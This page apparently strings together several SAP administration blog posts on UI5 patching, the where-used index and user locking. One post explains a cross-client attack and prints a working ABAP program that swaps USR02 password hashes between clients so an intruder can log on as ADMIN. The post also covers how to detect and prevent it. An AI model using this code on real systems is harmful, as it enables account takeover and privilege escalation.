FIORI last digit patching

Questions that will be answered in this blog are:

  • What are the current UI5 versions available and supported?
  • How to perform UI5 last digit patching?
  • When to patch and when to upgrade to new FIORI server?

Current UI5 versions available

The current UI5 version overview is published by SAP on this site.

The overview gives information on the main versions (like 1.56, 1.58, etc) and the available last digit patches (like 1.56.14, 1.58.5, etc).

Your own version can be found with this URL:

http(s)://<your server><your port>/sap/public/bc/ui5_ui5/index.html

Example:

Version available in system

This server has versions 1.48 (last digit patch 13) and 1.52 (last digit patch 8).

Last digit patching

To patch the last digit to the newest version, you first look for the corresponding OSS note. Search for term “ABAP SAPUI5 1.xx release” with xx being your release. For our example it is oss note 2550980 – ABAP SAPUI5 1.52 release. Or take the generic note: 3155948 – ABAP SAPUI5 patch version update.

The note describes per last digit version which file to download and which FLP note to apply after you do the patching.

In this example we will patch to level 1.52.23. The note tells us do use this file and note:

last digit patch file

Download this file from the SAP software download section.

Check if the last digit patching program needs bug fix OSS notes ( /UI5/UI5_UPLOAD_PATCH_TO_MIME ).

2614248 - Upload UI5 patch error: Unable to lock the source code to edit
2997207 - /UI5/UI5_UPLOAD_PATCH_TO_MIME: Load UI5 archive from application server
3075898 - /UI5/UI5_UPLOAD_PATCH_TO_MIME: Problems detected with transport-related checks of Change Ctrl Mgmt
3145139 - Fix content type of UI5 files with hashed names in MIME Repository
3153462 - UI Library Patch Error while parsing an XML stream: 'BOM / charset detection failed'.
3220439 - Prerequisite for improvement of UI5 patch installation
3271129 - "File contains no Demokit" error in report /UI5/UI5_UPLOAD_PATCH_TO_MIME for UI5 1.102 release
3280413 - SAPUI5 patch upload: Prevent inconsistent file state after Virus Scan misconfiguration

The upload and processing of the last digit patch file can take a long time (typically 1 hour). If you don’t take measures the system will dump after 10 minutes with a time-out.

Goto RZ11 and set rdisp/max_wprun_time to value 12000 (and undo this after the patching). In newer versions of netweaver the parameter is rdisp/scheduler/max_runtime, which needs to be set to 120m.

Now start program /UI5/UI5_UPLOAD_PATCH_TO_MIME:

UI5patch program

The file has to point to the file you have downloaded to your desktop. Use F4 to select the correct file. The request /task must be a valid unreleased workbench request.

First run in test mode. Wait until it is done (1 hour is normal…). If the result is ok, remove the tick box for test mode and run real mode (yes, 1 more hour to wait).

End result should look like:

Result of UI5 upload

After the application of the patch, apply the FLP note (in this case note 2605065).

Now you can start the version overview again to see if the patching was ok:

version after patching

As you can see the 1.52 version is now updated to level 1.52.23. The 1.48 version is the same.

More background in OSS note 2630700 – SAPUI5 patch update fails.

Transport of last digit patch to Q and P systems

When you want to apply last digit patch on Q and P systems, you can move the transport you have selected in the upload step. The unfortunate thing is that the import to Q and P of this transport also takes about 1 hour. This means you need to properly plan the import (especially on production select a time where no users are using FIORI apps).

Patching versus upgrading

The goal of last digit patching is simple: it solves bugs in the SAP delivered UI5 libraries. But it can also bring new bugs.

Best patching strategy: only patch when you have a bug that must be solved. Then patch to latest version. Don't think last minus one, since the UI5 patches come every 2 to 4 weeks: just take latest one. If your system is stable: don't patch.

Upgrading to a higher FIORI frontend server will give you new libraries which will have new functions. Also: the higher frontend servers have better performance due to faster ABAP kernel, better caching features etc. If you are using newer S4HANA solutions, you will be forced to upgrade frontend server to specific minimum version.

Best practice upgrading: if you are using central FIORI gateway server plan for upgrade every year or every 2 years at minimum. Every year at least apply support pack: the support pack will also to do last digit patching as well. After support pack or full version upgrade immediately patch to last digit version available before starting the testing.

Background OSS notes

Background notes:

ABAP where used index

A nice feature in ABAP is the where used function on usage of programs, tables fields etc, in both standard can custom code. For this function to work properly the ABAP where used index must be up-to-date.

This blog will give answers to the following questions:

  • How to re-run the ABAP where used index?
  • How to speed up the ABAP where used index by running in parallel mode?
  • Which bug fix notes should I apply to get a good ABAP where used index?

How to run ABAP where used index?

You can run the programs SAPRSEUB and SAPRSEUC yourself in background, or start program SAPRSEUJ to schedule the jobs for you.

Program SAPRSEUB will index standard SAP objects. Program SAPRSEUC will index custom objects.

More background can be found in OSS note 18023 – Jobs EU_INIT, EU_REORG, EU_PUT. And OSS note 28022 – Customer system: Where-used list for SAP Objects.

S/4 HANA readiness check

For the S/4HANA readiness check (see note 2290622 – SAP Readiness Check for SAP S/4HANA) it is mandatory to run job SAPRSEUC. For more background information on the S/4 HANA readiness check see this blog.

Stopping the job

If for whatever reason you want to stop the jobs, use program SAPRSEUB_STOP.

Performance of the where used jobs using parallel processing

Check if OSS note 2228460 – Runtime of job EU_INIT, SAPRSEUB, performance is applied. Using settings in table RSEUPACTRL you can control the runtime behavior of the parallel execution of the where used indexing process. You can check in SM50 and SM66 if the job is using the parallel

OSS notes with bug fixes

The following bug fix OSS notes can be check if they are valid for your release:

Cross client access hacking

Most people underestimate how easy it is to gain access from one client to another client. This blog will explain how easy it is to do it.

Questions that will be answered in this blog are:

  • How to execute a cross client access hack?
  • How to detect this attack?
  • What preventive measures should I take to prevent this in my systems?

Cross client hack explained

You have gained access to a maintenance client by any method (most easy is standard users: see blog on this topic). Some basis and security people will waive this away and say: “by having access to client 066 the hacker cannot do anything, since the real business data is stored into a different client”.

So what the hacker will do is simple open the system client for ABAP coding (SCC4 client opening works from any client). Then he loads this simple program:

REPORT ZSWAPUSER. 

data: zls_usr02_1 type usr02. 
data: zls_usr02_2 type usr02. 
data: zls_usr02_t type usr02. 

parameters p_uname1 type usr02-bname. 
parameters p_mandt1 type sy-mandt. 
parameters p_mandt2 type sy-mandt.

select single * from usr02 client specified into zls_usr02_1 where bname eq p_uname1 and mandt = p_mandt1. 

select single * from usr02 client specified into zls_usr02_2 where bname eq p_uname1 and mandt = p_mandt2. 

zls_usr02_t = zls_usr02_1. zls_usr02_t-mandt = p_mandt2. modify usr02 client specified from zls_usr02_t. 
write sy-subrc. 

zls_usr02_t = zls_usr02_2. zls_usr02_t-mandt = p_mandt1. 
modify usr02 client specified from zls_usr02_t. 
write sy-subrc.

In the source client hacked a new user will be created. Let’s say the user ADMIN, which is also existing in the target client. The hacker creates the user ans sets the password in the source client he has access to. Now he runs the program. The program simply reads the password cross client (yes, ABAP can do cross client reading and updating), and then swaps them…..

After the swap the hacker will logon to the target client with the password he has set and enjoys all the roles from the user ADMIN. After he is done, he simply runs the program again. Then the old password is put back again.

Detecting this attack

Detecting this attack directly is very difficult. There are traces:

  • Client opening and closing in the source client
  • The presence of the ABAP code
  • The ABAP action in the source client’s audit log (you did switch on the audit log in all clients, didn’t you? And if you didn’t read this blog how to do it and execute it!)
  • ADMIN access from same terminal as the hacker is using to logon to the source client

Preventive measures

The following preventive measures can be taken:

  • Reset all standard passwords in all systems in all clients (see blog)
  • Delete no longer needed clients 001 and 066 (see blog)
  • Switch on audit logging in all clients (see blog)

Mass locking and end validity date of users

There are 2 good reasons for mass locking and ending validity date of user: security and licenses.

Questions that will be answered in this blog are:

  • How can I mass lock users automatically if they have not logged on for a certain time?
  • How can I mass set the validity date of the users that did not log on for a certain time?

Automatic lock of user after expired logon

In RZ11 you can set parameter login/password_max_idle_productive with an amount in days.

Password max idle initial

If the user (including yourself) did not logon to the system after this amount of days the password is still valid, but it does not allow you to logon.

If the user tries to logon after the period he will see this error message and cannot continue:

Password deactivated

In SU01 such a user looks like this:

Password expired

If you also want to automatically lock users after you give them a new password, use the parameter login/password_max_idle_initial.

Initial passwords is one of the nice ways of entering a system as hacker. Especially if the initial password used by the admin is more or less the same (like Welcome_1234!). Countermeasure: instruct your admins to use the Password Generator. This will generate long random once off password.

Mass setting of user validity date

For user measurement and security reasons you want to limit the validity period as well. Users who are locked still count for user measurement (see blog on license measurement tips & tricks). Users locked and unlocked by some method can be security threat.

Standard SAP program RSUSR_LOCK_USERS (built on top of program RSUSR200) is the tool to achieve this.

It has quite a long selection screen:

RSUSR_LOCK_USERS screen 1

On the first block set the dates for last logon and password change to get a good selection of users.

RSUSR_LOCK_USERS screen 2

On the second block very important to only select Dialog Users.

First run with Test Selection to get a list. If you are happy with the list, run it with Set End Of Validity Period.

OSS notes

Performance and bug notes (OSS search hints RSUSR200 and RSUSR_LOCK_USERS):